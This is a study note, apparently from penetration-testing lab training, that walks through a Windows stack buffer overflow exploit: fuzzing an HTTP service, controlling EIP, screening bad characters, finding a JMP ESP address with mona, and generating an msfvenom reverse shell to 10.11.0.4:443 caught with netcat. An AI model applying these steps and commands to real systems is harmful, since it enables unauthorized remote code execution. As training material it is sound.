Windows Buffer Overflow
Discovering the Vulnerability
- 3 approaches
- Source Code Review
- Reverse Engineering
- Fuzzing
Fuzzing the HTTP Protocol
- Fuzz every input filed the app offers
- Sample the network traffic (aka. Seed) to develop a Generation based Fuzzer
- Wireshark with the capture filter of the target server
- Navigate to the vulnerable web interface
- Input something into the field
- Identify the attempt un Wireshark
- Follow the TCP stream
- Replicate the traffic with a python PoC
- In this lab environment, to verify our results, we must attach a debugger to the vulnerable process
- Launch Immunity Debugger with Admin, otherwise you won't see the processes executed under system
- Select the Process and click attach
- Resume the execution with
F9
- Run the fuzzing script
- If successful, the debugger with show an error (like an access violation)
- You probably have crashed and need to restart the vulnerable application and the debugger. Repeat this after each attempt!
- Sample the network traffic (aka. Seed) to develop a Generation based Fuzzer
Win32 Buffer Overflow Exploitation
A Word About DEP, ASLR, and CFG
- DEP is a set of hardware and software technologies that perform additional checks on memory to help prevent malicious code from running on a system. The primary benefit of DEP is to help prevent code execution from data pages by raising an exception when such attempts are made.
- ASLR randomizes the base addresses of loaded applications and DLLs every time the operating system is booted. On older Windows operating systems like Windows XP where ASLR is not implemented, all DLLs are loaded at the same memory address every time, making exploitation much simpler.
- CFG is Microsoft's implementation of control-flow integrity, performs validation of indirect code branching, preventing overwrites of function pointers.
Replicating the Crash
- Refactor the python script to only send the successful payload
Controlling EIP
- 2 Approaches
- Binary Tree Analysis
- Split the Payload into two chunks, but the first chunk with As and the second chunk with Bs
- Split the correct chunk, which is the one showing in the debugger, again
- Continue splitting the correct chunk until you reach the exact 4 bytes in the EIP
- Use a long enough string of none repeating 4 bytes chunks
- Using the debugger and the unique chunk we can pinpoint the exact location of the string which is inputted into the EIP
- Create such a pattern using
msf-pattern_create -l <the length of the successful payload>
- Refactor the PoC python script to send the string
- Calculate the offset using
msf-pattern_offset -l <the length of the successful payload> -q <the 4 bytes in the EIP>
- Refactor the python PoC again to verify we can control EIP using the given offset of, but don't forget to append some characters, so we keep the same buffer length
- Binary Tree Analysis
Locating Space for Our Shellcode
- Search to debugger for any section which was overwritten by the buffer (for example the ESP)
- A standard reverse shell requires around 350 - 400 bytes
- If the location we found isn't large enough we can try to increase the payload without breaking the buffer overflow condition
Checking for Bad Characters
- Most common
0x00
: Used to terminate a string0x0D
: Specifies the end of a HTTP field
- To automate send all characters from
0x00
to0xFF
- in python
\x00
,\x01
, ... ,\xff
- After executing the new PoC
- Right-click on the ESP and select "Follow in Dump"
- Check where the payload stops in the memory
- Refactor the PoC python script and remove the byte which comes after the last byte you saw in the dump
- After executing, check the dump again for
00
and repeat the last step until you've found all bad characters/bytes
- in python
Redirecting the Execution Flow
- Hard coding won't the address won't work because stack addresses are volatile, especially with threaded applications.
Finding a Return Address
- Use a JUMP ESP
JMP ESP
instruction, aka "indirect jump"- If we find an address which reliably contains a JMP EMP instruction we can call that address in the EIP and run our reverse shell in ESP
- There are a lot of windows support libraries which have a jump ESP instruction, but to be useable, they also need to meet the following criterion:
- addresses used must be static (→ no ASLR support)
- can't contain any of the bad characters
- There are a lot of windows support libraries which have a jump ESP instruction, but to be useable, they also need to meet the following criterion:
- Use
!mona modules
to identify the libraries imported by the vulnerable target- Search for any module where SafeSEH, ASLR and NXCompat is set to False and where the base address doesn't contain any bad characters
- Identify what the Opcode for an instruction is using
nsf-nasm_shell
jmp esp
→FFE4
- In the debugger use
!mona find -s "\xff\xe4" -m "libspp.dll"
to search for the JMP ESP instruction in a given library- Check the "Results" section and verify that it doesn't contain any bad characters
- Update the python script to reflect the EIP address pointing to the JMP EIP instruction, but you need to pass the bytes in reverse order!
- E.g.:
10090C83
→\x83\x0c\x09\x10
- E.g.:
- If we find an address which reliably contains a JMP EMP instruction we can call that address in the EIP and run our reverse shell in ESP
Generating Shellcode with Metasploit
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
- This will create a reverse shell and encode it so that none of the bad characters are present
Getting a Shell
- Unfortunately, the encoded payload needs to be decoded by the prepended decode stub. This stub will overwrite some of the memory space around the payload because it needs to figure out its current memory address and because of that might tamper with our payload itself.
- To fix this you can create a "wide landing pad", by prepending the payload with a series of No Operation instructions (
\x90
) aka. "nops" - Now before we run the final python PoC, configure a netcat listener (
sudo nc -lnvp 443
)
Improving the Exploit
- But unfortunately when we exit our reverse shell the vulnerable target is in a crashed state... so we can't exploit it again if we want to get a reverse shell again...
- If our target is threaded, use
EXITFUNC=tread
like this:msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=tread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
to generate a payload which will only kill the tread and not the entire target service/program.
Relevant Note(s): Buffer Overflow